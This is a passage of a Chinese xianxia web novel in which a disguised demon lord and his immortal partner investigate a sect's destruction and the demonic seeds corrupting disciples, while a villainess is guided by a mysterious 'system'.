说时迟那时快,就听嗵的一声! 屠天霸突然两腿一蹬,两眼一翻,宛如突发恶疾一般倒了下去, 他的脑袋十分精确地砸在聂无洄的大腿上,嘴巴紧闭,腮帮子一鼓一鼓的,咀嚼着口腔中还未下咽的点心。 徐阙看不到桌下的景象,只知道少年毫无征兆地晕倒了,眼神有些惊讶,第一时间瞥向还端坐着的白衣男人。 聂无洄: 聂无洄垂眸看了一眼,视线擦过少年鼓鼓囊囊的面颊,心中骤然浮现了一道猜想。 一道让人觉得好笑又慰藉的猜想。 睡着了,就听不到他以聂无洄的身份与徐阙谈论正事了是吗? 明明是掩耳盗铃之举,聂无洄却升起一股被少年包容了的暖意,忍不住顺手将他嘴边的一粒点心渣子捻下来,轻声道 “无事,他只是睡着了。 徐阙: "? 1 与徐阙的满头雾水不同,屠天霸纠结了一会儿,终究忍不住乐了起来,还下意识亲了一口男人将要移开的指尖。 聂无洄心中有了底,抬眸望向徐阙,缓声道:“徐道友,多年不见了。 现在不用装作不认识了? 徐阙顿了顿,直白应道:“无洞仙君,听闻你已闭关三百年,怎么会在此处? 他用眼神示意了一下,又道: “这一位又是…? “阴差阳错,缘份使然,至于他…. 聂无洄看出徐阙的疑虑,坦然道: 男人微笑着说, “他是我的道侣,是个心思单纯,待人体贴的人,待解决了魔修之事,我会将此事昭告天下。 徐阙听到''体贴’二字,哽了一下。 紧接着 他就想到三年前与少年在永歌城的短暂会面, 当时少年就说自己的道侣如何如何 万万没想到,这个人会是无洄仙君。 好在徐阙不是冒失的性子,若是换成符悦声,说不定会惊讶地跳起来。 飞舟的另一端。 屠天霸的一颗心仿佛被劈成了两半,一半是犹豫,另一半是欢愉。 他的眉毛打成了结,嘴角却微微翘起。 随即,他听到两人开始详聊这三年间发生的怪事,忍不住撇了撇嘴 无聊。 怎么不多聊聊双修大典,啊不是,道侣大典的事情啊?! 谁关心正道弟子堕魔的事情啊! 不得不说,少了少年炙热又阴寒的刺人眸光,徐阙自在了不少,神情严肃地与正道第一人交托了事情全貌 要知道修士与天争命,劫难颇多。 不乏有正道修士败给自身的心魔,修为停滞不前,又因执念缠身,或是对天人五衰的恐惧,不惜转为邪道,成为一介魔修 但这三年堕入魔道的正道弟子,数量多得不正常,显然是有魔修暗中作祟。 聂无洄轻轻蹙起眉: “各门派当真毫无察觉? 徐阙摇摇头:“真的查不出。 “万法宗已有二十一位弟子无声无息地堕了魔,犯了大错后,逃离宗门,至今没有消息,事前毫无征兆。 “归清门,亦有十二位弟子…. 而玄虚派单出了一个堕魔弟子,就毁了整个门派。 徐阙默了默,又道:“埋伏我,救走那名女弟子的魔修有三人,乃是戮天宗的冥虚子、烬无生、无相老祖 “最奇怪的是,我与他们交手,竟有种灵气被炼化的感觉,据说这是魔尊屠天霸所修炼的独门邪法,不知是不是他将其传授给了这三人。 聂无洄自然知道屠天霸没有修炼什么邪门术法,而是仙鼎被上古魔物怨气侵染,沦为魔兵后产生的特性。 他思量片刻,心中微沉。 三年前,魔修在妙仙宗掳走一众医修弟子,却被混入其中的少年破了局。 其后的三年间,各门派陆陆续续有百名弟子堕入魔道,有些弟子被宗门寻回,按规矩处置了,更多的是了无踪迹。 根据徐阙所言,各门派因面上无光,不约而同地将此事压下来了。 直到半个月前。 玄虚派一夕之间被灭了门,其中人证物证都表明此事跟戮天宗屠天霸脱不了关系 众门派哗然震怒,交互信息, 经过三年铺垫与玄虚派一事,屠天霸必然会成为整个正道的众矢之的, 果不其然。 徐阙紧接着说: “数日前,众门派以归清门为首,决定一同查明此事,联合剿灭戮天宗。 闻言,聂无洄皱起眉。 或许他该尽早回宗门一趟了 一是为了通报宗门,应当从长计议,二是为了公开为少年澄清——自己在这三年间与他形影不离,不曾踏出河谷半步,绝不可能谋划恶事 他就是人证。 只是少年不愿意承认自己的身份,并且坚持他们二人是一对散修道侣,跟正邪两道的事情无关,满心都是隐居。 但聂无洄也明白,少年对他心软极了 他先好好劝说,若是实在说不通… 大不了,自己到时候就真的装哭给他看吧,或许他会着急忙地围着自己转,然后松口同意吧? 聂无洄如此想着,心中却笃定。 倏然间,他忽然觉得自己被少年影响得很深,或许是那人一天到晚地在自己耳边说着些不着调的话。 比如:你不会哭了吧?我让你疼了吗? 聂无洄的耳朵都快听出茧子了。 再然后,那人就非要抱着自己哄。 聂无洄自然没什么事的,可他要是推拒了少年的安慰,那人还不高兴。 久而久之,聂无洄也习惯了… 正因如此,他才会下意识想到这法子, 不怪他,。 都是耳濡目染。 屠天霸在不知不觉中,背起了锅。 他听着两人的交谈,没有一丝自己作为话题中心的危机感,大咧咧地枕着男人的大腿,看起来悠哉极了 但也只是,看起来'' 他八分心神放在温热柔韧的大腿上,一分心神操纵着飞舟,还有一分心神,在跟机智心魔斗嘴 白色光球积极劝道: “宿主,你支楞起来啊,澄清啊,理论啊!主角也站在你这一边,他可是归清门地位崇高的长老,正道第一人! 白色光球想得很清楚。 宿主是这个修仙世界的最高武力值,又因神魂与炼魂鼎融合,衍生出锁血技能,是某种意义上的不死之躯 那些正道宗门来围剿他,就是送菜 要知道,宿主对想要攻击自己的修者可是毫不手软的,发起狂来,说不准将这些人全都灭了 也就主角是个例外。 可真要这样发展下去,宿主跟主角说不准要开启虐身虐心的BE线了, 任务怎么办? 祂的积分怎么办? 必须澄清! 屠天霸却冷漠应道:“他才不是什么正道第一人,他只是我的阿洄。 白色光球: "你不是都听到徐阙喊他''无洄仙君’了吗?你明明都知道了,干嘛还非要嘴硬? 屠天霸在心中哼了声 "我睡着了,没听到。 "而且我也不需要他站在我这一边。 白色光球想了想,试探性地问了句 “宿主,你该不会是!不想主角因为你跟全世界为敌,受正道指责,才打死不承认吧? “你是不是怕他受委屈哇? 屠天霸: 白色光球也默了。 嚯,这个癫子居然是个好男人? 不多时。 三人抵达玄虚派遗址。 屠天霸没有收起飞舟,独自趴在舟边凝视着男人的背影,一副满不在乎的模样。 聂无洄心情沉重。 虽然玄虚派不是什么大宗门,却也传承已久,如今只剩下一片焦士废墟。 他站在这片焦土上,忍不住叹了口气。 徐阙不明白聂无洄为何坚持要来此处查看,在他身边补充道 “先前我捉拿了那名堕魔女弟子,只匆忙将尸骸收敛了,可惜魔息挥之不去,侵蚀着这片土地. 聂无洄点点头: “看样子,此处在百年内都无法孕育生灵了。 徐厥捞话头, 继续道 "无洄仙君或许不知,那魔尊在三百年前斩杀了一条吞食了一整座城池的魔蛟,随即将那蛟龙的灵脉洞府占为己有.…… “那里便是戮天宗的所在之地。 “原本那是一片灵气充沛的福地,可屠天霸身怀上古魔兵,能够炼化天地灵气,不过三百年,灵脉变成了魔气缭绕之地,除了魔修,少有人涉足。 聂无洄下意识回头看了眼留在飞舟里的少年,恍然撞进一双平静无波的眼眸中。 不见半点怒火。 这人会因为被人打扰了与自己在河谷隐居的生活而大怒,如今被他人指名道姓地指责,却什么反应都没有 聂无洄沉默半响,淡声道: “或许屠天霸也不愿如此,他斩了喜食人肉的魔蛟,何尝不是救了无辜百姓? 徐阙愣了一下。 聂无洄又叹了口气,回身往飞舟走去。 屠天霸一下子支楞起来,问道:“看完了吗?不如我们还是回去吧? 不料,聂无洄却邀他下舟, ''小修,你下来试着辨认此处的残留魔气,是否跟魔尊屠天霸的魔气一致?若是不同,你能不能认出是戮天宗里哪个魔修的气息?" 聂无洄的语气仿佛已经预知魔气并非屠天霸的,而是怀疑起了天宗的某个魔修 闻言,不远处的徐阙眉头轻轻一跳,像是猜到了什么,又不太敢确定,神情变幻莫测。 屠天霸不太愿意,眼神飘忽地嘟着, "你问我做什么?我怎么知道啊… 话音刚落。 聂无洄很不客气地将他拽下飞舟,看样子是不达目的不罢休了, 屠天霸没法子,匆匆睨了一眼,鼻腔里挤出一丝几不可察的''嗯?’,然而他转念一想,很于脆点头应道: “不错,正是屠天霸的魔气,就让正道宗门去制裁这个罪大恶极的魔头吧! 说完,他还理直气壮地问了句, "真相已明,我们可以回去了吧? 恍然不觉自己这番做派和说辞,已经惹恼了身前的男人。 聂无洄第一次产生这般无力的恼怒。 他的表情未变,唇微抿,周身的气压低了许多,泛着冷意。 屠天霸仿佛毫无察觉,神情自若。 徐阙已经寻了个由头,主动避开了, 可恶! 这个晦气老断袖怎么在这种时候就有眼力见了啊?给我回来! 屠天霸坚持了一会儿,还是忍不住心虚地挠了两下脸,开始躲闪男人的视线。 聂无洄不愿在玄虚派的遗址与少年谈论感情之事,便沉着脸,唤他驱使飞舟,眨眼间便飞到了千里外的高空中。 离开之前,他还特地传音给徐阙,交代了此事 徐阙一回生,二回熟,并无异议,只是他忽然又想起某个猜测,心中波澜起伏,轻摇着脑袋 “应该不会吧…." 听无洄仙君的意思,他当初的怀疑似乎成了真。 那少年,是个魔修? …好巧不巧,居然姓屠? 空中,云雾腾飞。 两人面对面坐着,发丝与衣袍被清风撩起来,气氛微微的冷。 屠天霸在温柔乡里醉了三年,哪里受得了男人沉着脸注视自己,还一言不发的冷淡态度? 偏偏这时候让他开口,他也不知道说什么,只好眉耷眼地呆坐了好一会儿。 不出一刻钟。 他实在忍不住了, 想要跨过横在中间的长桌,跟男人靠在一处… 便悄然站起身, “砰。 聂无洄不轻不重地拍了一下桌子。 没用多大力气。 但屠天霸一下子缩回了腿,又窝窝囊囊地坐了回去,轮廓成熟了不少的眼眸直愣愣地盯着聂无洄看,不敢说话 他忍不住在心中哀嚎, “心魔,心魔!!我心好慌!" 系统空间内。 白色光球透过宿主的视角,瞥见主角那张清正温润的脸冷了下来,给予人莫大的压力 “呜呼.……”祂忍不住感叹道, “主角不愧是做师尊行业的,正经起来好吓人,宿主你还是缩着吧。 屠天霸很听劝,含胸垂首。 聂无洄看他这副模样,知道他只是怕自己生气离开,并不觉得方才做错了什么。 霎时间,他酝酿了许久的劝导之词全然堵在心口,说不出口。 说来无用,何必说? 对于聂无洄这等寿数的修仙者来说,三年时光太短暂, 或许打个盹就过去了, 可跟少年隐居的这三年,聂无洄觉得每一日都很鲜明,让人感到心腔暖热, 他喜爱少年在双修时压抑不住的闲言碎语、喜爱少年为自己采摘的鲜花,喜爱少年热烈浓郁的眸光 因此,聂无洄对他的了解不算少。 况且他还看过少年的过往记忆,知道对方的意志有多坚韧,一旦打定了主意,哪怕是上古魔物的怨气也奈何不了他, 也就瞧着跳脱单纯,心思都藏着呢。 性子还固执得很 聂无洄沉默许久,忽然想起了先前一闪而过的思绪,心中有了对策。 屠天霸快要憋到极限。 他瞪着那张桌子,仿佛瞪着阻拦有情人的三千尺银河,想将其收入袖中,却因男人搭在上面的手而放弃, …总感觉,如果把它收起来的话,阿洄会更生气, 屠天霸的脑袋垂得更低了。 他瞥着桌下的空隙,有点想从桌底滚进男人的怀中,只是他如今长高了不少,身板也厚实了,大概是钻不过去了。 屠天霸十分遗憾地收回视线。 就在这时。 他忽然听到男人轻声唤道: "小修。 屠天霸当即抬头,循声望过去。 他的上身几乎趴在了桌面上,极力向男人靠近,嘴巴微张,想要接过话头,说些缓和气氛的话。 然而,下一瞬。 屠天霸就见男人表情清清冷冷地凝视着自己,眼眶逐渐泛红,眸中似有水光流转, 屠天霸一愣:"!” 他猛地弹跳起来,什么也顾不上了,径直将阻拦在中间的桌子一收,手忙脚乱地将男人搂进怀里,语无伦次 “哎呀,你别哭,我怪心疼的. 屠天霸轻轻给他拍背,语气也放软了哄人,"你要是这样,还不如凶我一顿,或者冷冷淡淡地不理我呢,不过我只能忍受一天哦,再多就不行了…! 说着,他提心吊胆地侧头一瞥。 男人将前额抵在他的肩头,屠天霸只能瞥见他俊美的侧脸,以及那两瓣抿得很紧的唇 屠天霸更慌了。 201、chapter 201 这道将金柳衣称之为''宿主’的声音很古怪——它的语调平直无波,仿佛被摄了魂魄的活死人一般,空洞极了 金柳衣却已经习以为常。 她笑着应道:“系统,多亏了你,否则我又怎么能窥得天机,逆天改命 倏然间,她忽然想到了什么,唇边的娇媚笑意猛地消散,眸中闪过一丝狠厉 “哼,可惜三年前失了手,那个姓符的小东西还活得好好的,没能损了妙仙宗的根基,让徐阙这个老杂毛提前品尝一番失去挚爱的苦楚! “无相老祖那几个更是废物,竟又失了手!" 话音刚落。 那道空洞的、无机质的声音又在金柳衣耳边响起 "宿主,建议你暂时将前世的仇怨放在一边,给更多的正道修士种下心魔种子,以便于尽快完成主线任务 “即:开启新一轮仙魔大战并获胜。 "根据系统判断,最快捷的方法是摧毁魔尊屠天霸的个人意识,彻底解放封印在他体内的上古魔气,如此才能打败天命之子聂无洄,获得最终胜利。" “只有这样,宿主才能改变命运。 听系统一遍遍提醒着自己的死亡,金柳衣的眼神愈发凶戾,"系统,你放心,我绝不会让自己再一次死在徐阙的杀魔阵下! 距离金柳衣被这个名为恶役炮灰逆袭系统’绑定的那天,已经过去了三年, 三年前,戮天宗的上空聚集起雷云。 这场天雷劫来得异常汹涌,但没有一个魔修有胆子靠近魔尊所在的血骨洞——天雷劫只是其一,更因为魔尊屠天霸本人嗜杀成性,对门人也不会手软。 若不是屠天霸散发的魔息有助于魔修修炼,使修炼事半功倍,也不会有那么多魔修聚集在此处,称其为尊上,认其为主, 私下里,众魔修都悄悄称呼他为杀星, 若不是杀星,怎么会毫无预兆地出现在某个魔修面前,捂着脑袋,满脸凶相地怒吼着 “你怎么变得这么臭,熏得我头痛! 随即一巴掌下去,那魔修便没了性命。 在场的其他魔修都吓破了胆,以为自己也要命丧当场,不料魔尊随手擦掉飞溅到下巴的血滴,面无表情地离开了,不多说一句话。 没人能猜透他的心思,但所有人都深深地忌惮着这个喜怒无常的杀星。 金柳衣便是其一 然而,那一天尤其特殊。 她远远地望着那片黑压压的天,恍惚中感受到一股迷蒙的诱惑,不断呼唤她靠近 金柳衣纠结许久,却怎么都抑不住这股深至神魂的蛊惑,最终还是隐匿了身形,提心吊胆地靠近雷云中心。 她不敢离得太近,便藏身于血骨洞的外围,正巧望见一道白衣人影飞到半空,执剑抵御天雷劫。 熊 轰—— 天雷一道比一道凶狠。 金柳衣隐隐感受到天雷威压,忍不住半眯起了眼睛,恍然瞥见天雷之下还有另一道身影。 她看不清那人的脸,却立马认出了他的身份。 正是魔尊屠天霸。 实际上,整个戮天宗无人知晓屠天霸的真实容貌,只因他的身形无时不刻被魔气笼罩,面容亦然。 当众人望向他,只能感受到一阵深切的恐惧,仿佛与天敌狭路相逢,不禁让人脊发寒, 事后回想起来,竟记不起他的五官了。 金柳衣小心藏匿,生怕被发现。 她发现屠天霸的举动格外癫狂,上一刻还在扇自己巴掌,下一刻便将脑袋往地上砸去,仿佛痛苦至极 天雷还在劈。 不知过去了多久,那位白衣男子手中的剑骤然在一道轰声下折断,可雷劫的势头丝毫未降,反而愈加猛烈。 金柳衣辨不出那人是谁,只暗暗心惊对方的道行深厚, 雷光刺目,距离又远, ,居然还能抵抗 良久。 金柳衣忽然听到一声怒吼 “不用你给我挡,滚! 她眯着眼,就见屠天霸迎雷而上,将那个白衣男子一掌拍飞,径直飞出雷云笼罩的范围,不知掉到哪里去了。 金柳衣的心如擂鼓。 随着天雷一道道劈在屠天霸的身上,她所能感知到的诱惑愈发深重了,让她神魂恍惚,竟是死也不怕了。 就在这时。 金柳衣忽然警见天空裂开了一个洞,有什么东西闯了进来 可她一眨眼,却见穹顶如旧,似乎方才只是自己的错觉。 正因如此,她没有看见两个光点飞速钻进了屠天霸的脑袋,也没有看见屠天霸的身形一顿,一缕黑气趁机从他身上跑出来.…. 金柳衣只听到叮的一声- 道陌生的、无机质的声音幽幽响起 "检测到可绑定宿主,是否绑定,恶役炮灰逆袭系统’,改变自己悲惨的命运? 不等金柳衣反应,那声音又道: “正在为宿主灌输前世记忆,请宿主看完再选择是否绑定系统。 紧接着,金柳衣的眼前便浮现了一篇残缺不全的书页,上面赫然写着自己的名字! 书页的篇幅不算长。 金柳衣凭借着一段段不连贯的叙事,得知了一部分未来之事,以及自己竟会死在一个名为徐阙的修士手中! 正当时,恶役炮灰逆袭系统又道: “天命从未眷顾于你,但本系统可以帮助你改变命运! 于是,金柳衣绑定了系统。 只要她完成系统发布的主线任务,借助魔尊屠天霸体内的上古魔气,在五十年后的仙魔大战中,让邪道压过正道,系统便会给予她任务奖励- 统一魔道,成为魔道之主! 在绑定系统之后,金柳衣也产生过一丝疑虑:跟屠天霸作对,即使她不死在徐阙手中,或许也要死在他的巴掌之下。 得知未来,避开死劫便可 系统察觉出她的想法,语调如死水一般无波澜,“本系统是炮灰逆袭系统,若宿主金柳衣不完成任务,系统将自动解绑,还会有任务失败惩罚。 “请宿主金柳衣积极完成任务,尽快摧毁魔尊屠天霸的个人意志,这是魔修获得胜利的唯一机会!" 自那以后,金柳衣在系统的帮助下,暗中谋划了三年,如今才正式拉开序幕。 第一步,便是假借屠天霸之名,树立更多敌人,让他受到正道围,削弱实力。 第二步,取出被封印在黑海底部的上古法器''九幽忆煞镜’。 系统说过,屠天霸并非普通修士,寻常作用于神魂的法器对他压根起不了作用,唯有上古魔兵才能奏效。 只要她趁屠天霸重伤,自己上前表忠心之际,用''九幽忆煞镜”映照出他神魂最深处的记忆,法器便能强制屠天霸回溯最惨烈的过往,使其崩溃 思及此处,金柳衣望了望天。 此刻,她便身处于黑海之上的浮空岛。 天空黑压压的,浓云密布。 岛屿之下,海水如墨汁般浓稠,表面隐约泛着诡异的暗红色光晕,仿佛无数仙魔精血沉淀而成. 海面上,雾气笼罩。 雾中隐约可见断壁残垣的虚影,似有战鼓与嘶吼声在回荡。 传说在数万年以前,这片无垠的海域乃是上古仙魔战场,两方厮杀了几十年,方才结束战争 后来,有大能以移海之术将战场封印于海底,又布置了诸多屏障与困杀法阵,断绝了修士闯入的可能。 若不是有系统相助,金柳衣不可能闯入其中,还毫发无伤。 金柳衣睨了一眼海面,忍不住追问了一句,“系统,你不是说海面设有禁制,触发后会唤醒沉眠的傀儡守卫,就连大乘期修士也难以抵挡,我不会殒命在此吧? 系统应道:“宿主放心。 “系统已为宿主兑换高级隐匿技能,请宿主取出''九幽忆煞镜'' ’,这是宿主逆天改命的重要道具! 另一头。 飞舟之中。 屠天霸老老实实地交代了自己所知道的信息,盯着男人陷入沉思的面容,冷不丁道了声 …你刚刚,叫我什么来着? 聂无洄回望过去,薄唇微启:“不能叫你大名吗? 屠天霸看了看自己的手,确认没有扇巴掌的冲动,暗自松了一口气,“也不是,就是有点危险。 太危险了。 差点脸就肿了! 他想了想,又问:“不对呀,我什么时候告诉你我的大名了?该不会是…你在我记忆里看到的吧?!" 屠天霸的表情如丧考妣 记忆中,他被喊大名的情况,一般是被他爹扒了裤子狂扇屁股的时候。 可恶,好丢脸! “是我在初次双修后问了你,你在睡梦中告诉我的.”聂无洄答完,见他表情屡屡变幻,不禁生出几分好奇,“怎么了? 屠天霸大呼一口气,连连摇头。 "没怎么!" 紧接着,屠天霸有些后怕,小声抱怨起来, “可恶,我就知道.…….人一旦睡着了意志力便减半,我再也不睡觉了! 聂无洄听在耳中,心微微的酸。 他抬手捋顺屠天霸被风吹乱的额发,轻声道: “三年了,你只睡过三次,每次一刻钟不到便自行醒来 下一瞬。 屠天霸又听到他说 “小修,辛苦了。 屠天霸脑袋发晕,轻飘飘地应了句, “还好啦,毕竟我是男子汉。聂无洄微笑了一下,又问:“那你能不能告诉我,为什么你不愿意以真名示人?非要给自己取一个假名呢?署天霸犹豫片刻,坦诚道:“我有很多心魔,它们总是变着法儿地刺激我,想让我不高兴,还喜欢把声音变成我的家人,我的玩伴,唤我的名字,要我偿命.…."久而久之,我就听不得了。聂无洄这才深切地体会到,原来自己在第一次见面时,连续做了两件屠天霸最讨厌的事情…怪不得你先前那样厌恶我。屠天霸见他垂下眼帘,连忙将人搂进怀里,“哎呀,没有,我之前就是那样,路过的狗都要欺负一下!不是因为讨厌你!说完,他清了清嗓,很小声地唤,“无洄。聂无洄定定地看着少年,见他的脸上写着藏不住的紧张,眼神飘忽,忍不住倾身上前,与他额头相抵“稍后,你跟我回归清门吧,我会禀明掌门与其他门派,你并非灭门玄虚派的始作俑者,然后我们去找出幕后真凶!"若一切都了结了,我陪你回河谷。 “可好? 屠天霸感受着前额的温度,如何能说出一个''不’字 他闭了闭眼,觉得心魔说得不对。 这该死的贼老天也不是事事都苛待他。 正已亿, 他遇见聂无洄了 真是一件让人开心的好事啊。 202、chapter 202 虽说屠天霸答应了聂无洄-一陪他回归清门,为自己正名,但听对方说要先找到玄虚派的堕魔弟子和那三个魔修,将其一同押送回归清门,屠天霸下意识地松了一口气。 若不是耐不住男人的耳旁风,他真不愿以魔尊的身份踏足正道宗门。 麻烦事忒多。 能晚一日是一日。 但屠天霸还是装模作样地应了声,“你说得对,是该带点礼再上门 聂无洄怎么会不懂他的小心思。 他抬手捏了捏屠天霸鼻子,指尖不知觉地落到鼻梁上那粒鲜亮的红痣上,忽然心生好奇,“第一次见你的时候,我似乎没见过它?屠天霸随口应道:“那时还没长呢。倏然间,他反应过来,睁大眼睛反问聂无洄:“诶?你第一次见我,就记住我长什么样子了?!"那时他还藏不住自己浑身的魔气呢!屠天霸也是在与炼魂鼎融合多年后,才发现在他人眼中,自己面容模糊,旁人一眼看过来,只觉得阴森可怖。他越想,心里越是火热,忍不住倾身上前,在聂无洄的眼皮上啄吻数次,欢欣鼓舞地道了声,“我们真是天生一对!聂无洄闭着眼,心中亦生出几分欢愉。略等了等。他将双掌搭在屠天霸的肩头,将少年轻轻推开少许,与其商量起了正经事当然了。期间,大部分时间是聂无洄在说,屠天霸则频频点头,对男人千依百顺的模样。好半响,两人原路返回。徐阙已经在那里等候了,只是手上动作不停,正驱使着灵气符,看样子是想化解这片地界的魔气屠天霸扭头看了眼身边的男人。再度目睹玄虚派的惨状,男人的表情有些沉凝。见此情景,屠天霸这回倒是没留在飞舟上当一条小趴虫了,他先聂无洄一步跳出飞舟,伸出一臂,掌心朝下-霎时间,灰雾一般的魔气从地底翻涌而起,连带着浓重的血腥气,于他掌心汇聚成一小团随即,屠天霸合掌一握。玄虚派地界的魔气竟然被他吸收了个干净。屠天霸甩甩手,不去理会因魔气而躁动的心魔音,对聂无洄道:“不出十年,这里就重新滋养出生灵了 他顿了顿,补充道: "但被杀的那些修士我就没办法了,人死了就是死了,回不来了 聂无洄如何不懂这个道理。他什么都没说,抬手摸了摸屠天霸的脑袋,以此回应少年眼中闪烁着的情绪紧接着,聂无洄走到徐阙面前,看着对方有些恍然明悟的惊疑神情,并不主动提及少年的身份,只是交代了稍后的打算。徐阙沉吟片刻,说:“无洄仙君,我同你们一道去寻那几个魔修吧。正好.…”他一反手,掌心出现了一块沾染了血迹的残布,“这是我与他们交手时取得的,便于我施展万法宗独门的追踪术法。"请两位稍等半日,容我调息一番。"话罢,徐阙瞥了眼聂无洄身边的玄衣少年,又瞥了眼被净化的土地,手一翻,取出了那瓶被自己收入乾坤袋中的回灵丹。他仰头服下两粒,开始调理伤势。时间飞快。待徐阙再睁开眼,天空将暗,徒留一抹黄昏晕染着远山。他不多话,起手施展追踪法术,那块染血残布便显示出一行字。【卫蓉·灵枢山庄)卫蓉正是玄虚派堕魔弟子的姓名灵枢山庄则是她此刻的所在地。灵枢山庄亦是正道宗门之一,以炼器为长,千年前是与归清门,万法宗齐名的大宗门,后来逐渐式微,青黄不接许久了。饶是如此,灵枢山庄积攒了千年的底蕴也不容小觑。聂无洄的本命仙剑''不驯’正是出自于于年前的灵枢山庄少庄主之手,两人交情不浅,是能说得上话的好友,有了线索,三人乘着飞舟,朝灵枢山庄的方向飞去。觉出聂无洄心中担忧,屠天霸没有开小差,全神贯注地催动飞舟,使出了筑基期医修不该有的法力。徐阙与聂无洄对视一眼,双双都对此心知肚明,却不说破天不亮。三人抵达灵枢山庄。屠天霸对魔气的感知很灵敏,不等徐阙施行更加精细的追踪法术,他便驱使飞舟飞往灵枢山庄外围的一片竹林。隔了老远,他瞥见竹林中的四道身影。正是卫蓉、冥虚子、烬无生,无相老祖四人屠天霸有些担心这几个上门礼物抬腿跑了,连忙手一挥,从袖中乾坤取出一条捆仙绳,将那四人分别牢牢拥住,绳子未端还俏皮地打了个蝴蝶结 泡仔大师在书中有言: 礼物要精心包装。 这句话的旁边还附带了包装图像。 屠天霸十分聪慧,一眼便学会了,如今学以致用,不由得满意地称赞自己一声, "不愧是我!" 他还在想,要不要用什么包装一下? 赤霞缎?还是素罗绸? 屠天霸的袖中乾坤东西太多,全都是他在这三百年间“野采'' 回来的物件,一时间居然选不出一件合适的。 毕竟学医是很麻烦的事情,所以屠天霸也不是时刻呆在山洞中 每隔一段时间,他便独自前往未开放的秘境进行野采活动,收集各种可能用到的天材地宝 秘境中常有大能遗留的宝物,或洞府。 屠天霸大手一挥,全部"野采’了,这才积攒了如此丰厚的资源。 正当他暗自纠结的时候,飞舟已落到被捆得无法动弹的四人面前。 那三个魔修一见徐阙,登时骂道: "是你?!" 其中,无相老祖的境界最高,年岁也最长,他恍然瞥见徐阙身后的聂无洄,脸色顿时煞白,额角渗出冷汗。 没人注意屠天霸。 系统空间内。白色光球适当地为自己挽尊虽然宿主的前夫哥人设马甲局部露馅了,但本系统的数据修改技术还是很有保障的!你看,在这几人的眼里,宿主纯纯是个筑基期小跟班,不值一提!屠天霸没搭理祂。他偏了偏脑袋,发现耳边的心魔音停了一瞬,然后才如常地念叨起那些''命运从未待你好过,你就不恨吗?’等废话.….屠天霸很机智,没忽略那一瞬的异常。四人分别被捆在原地,无法动弹。屠天霸几步走到那名悄然无声的年轻女修士面前,骤然撞见一双充满着怨恨与不甘的眼眸屠天霸摸了摸下巴,问:“就是你对那个晦气老咳,徐阙说,是天宗魔尊帮你灭了玄虚派?卫蓉神情冷漠:“是又如何?屠天霸倒没跟她生气,反而很好奇地左右看看,然后抬掌,以五指扣住卫蓉的天灵盖他指尖的血肉消减,化为五缕细微的血雾,随着他的心念往卫蓉的脑中钻去。“啊啊啊-这声极其凄厉,顿时吸引了在场所有人的目光。徐阙神色一凛,却见聂无洄两步走到玄衣少年的身侧,表情不慌不忙,似乎对此心里有数。屠天霸听着卫蓉尖利的喊叫,表情没有一丝丝变化,专心地操控着血雾,炼化寄生在她脑中的东西。不多时。屠天霸的手掌多了一团凝实的黑雾。而卫蓉痛得几乎昏死过去,鬓边的发丝早已湿透,双唇苍白无血色,口腔里弥散着血液特有的铁锈味。屠天霸端详手中黑雾片刻,扭头对聂无洄传音道:“.…这东西与我同宗同源,应该就是让正道弟子堕魔的罪魁祸首。他沉默片刻,又道:"你知道这意味着什么吧?聂无洄在心里叹了口气,他当然知道这代表了什么——虽然他们找到了犯事的魔修与堕魔弟子,但导致正道弟子堕魔的东西却与少年有着不可分割的联系说不清,也道不明。聂无洄收敛起复杂心绪,轻声道:“正因如此,我才更要将幕后之人揪出来,你不爱解释,我便要替你说明.…''否则,我心难安。屠天霸侧着身,微微撇过脸,揉了揉有点酸的鼻子,然后将炼出来的心魔种子封印于容器里,塞到聂无洄手上他很小声地道了声, …哎呀,随便你啦。 聂无洄将其收好,随即问屠天霸要了一粒补气丹,塞入卫蓉口中 补气丹入口即化。 很快,卫蓉的眉睫微动,睁开了眼睛。 与此同时,聂无洄取出一块提前准备好的留影石,见卫蓉神情恍惚了片刻,眼神逐渐清明,才开口问道. “玄虚派灭门的真相,究竟如何?" 卫蓉听到这句话,整个人突然打了个激灵,不可置信地喃喃着, “灭门,我居然真的做出了这等丧心病狂的事情. 我…我亲手杀了同门师兄弟…" 就在这时,一旁的冥虚子见她一副万念俱灰的模样,忍不住放声大笑, “哈哈哈哈,当然是你!" "当时你的表情可不是这样的,畅快极了,活脱脱就是个魔修做派! 屠天霸不耐烦地啧了一声,干脆利落地横行两步,抬手给了冥虚子一巴掌,直接将他抽晕了过去, :,“真是聒噪。 烬无生: H 无相老祖: 好熟悉的一声啪。 203、chapter 203 这一巴掌的威慑力很足。 尤其是对戮天宗的魔修而言,仿佛死兆星临门,还清醒着的两个魔修本能地收敛了声息,恨不得将自己变成空气。 邪了门了 怎么有种见到魔尊的感觉? 屠天霸满意地点点头,然后回头看了聂无洄一眼, 脸上写着一句话—— ''放心,有我在呢。 聂无洄凝重的表情在触及少年的那一刹那,稍稍柔软了两分。 此刻,天已微亮。 竹林里浮动着青灰色的雾气,坠在叶尖的寒露折射出幽幽微光,宛如蛰伏在暗处的星子 缕天光自东天云隙斜斜刺入,穿透竹海,被竹叶劈成了无数流光碎片, 先前卫蓉听到那魔修的张狂大笑,整个人愈发灰败,宛如一具会喘气的尸体,看上去狼狈极了 她倚着斑驳的竹节缓缓跪坐下来,眸子空洞,不多时又被很清脆的一声啪响唤回了神。 卫蓉抬起脸,寒露嘀嗒坠落,打在她的面颊,像是一道泪痕。 下一瞬。 她泪如雨下。 紧接着,三人在卫蓉的叙说中,窥见了玄虚派灭门的真相, “我原是一个孤儿,被师傅收养带回玄虚派.”卫蓉声音有些沙哑, “在师傅的教导下,我很快入了道,所有人都夸我是玄虚派近百年来最有天赋的弟子。 话毕,她露出一抹很凄冷的笑, "背地里,他们却妒恨于我。 "为了不辜负师傅的养育之恩,我日夜苦修,想要振兴玄虚派,在仙门大比获得优胜 徐阙想了想,说:“没记错的话,你是三年前仙门大比的第二名吧? 卫蓉点点头,接着说:“谁知,当我回到玄虚派之后,被我视作父亲一般的师傅居然想要让我与他的亲子成婚,为其诞下有天赋的孩子!" 修仙之人产子不易。 对于卫蓉这般境界的修士来说,生子或许会断了她的道途,往后再难有精进 因此,卫蓉自然是不愿意的。 况且她对这位师兄并没有男女之间的情愫,唯有同门之间的手足情。 师傅没有勉强她。 卫蓉也就没有放在心上,态度如常 然而,变故发生在——被卫蓉拒婚的师兄恼羞成怒,失口说出当年师傅对她的父母见死不救,就是为了将她带回玄虚派加以利用.… 仇怨的种子逐渐在卫蓉的心里发了芽。 时日不久,小芽就长成了大树。 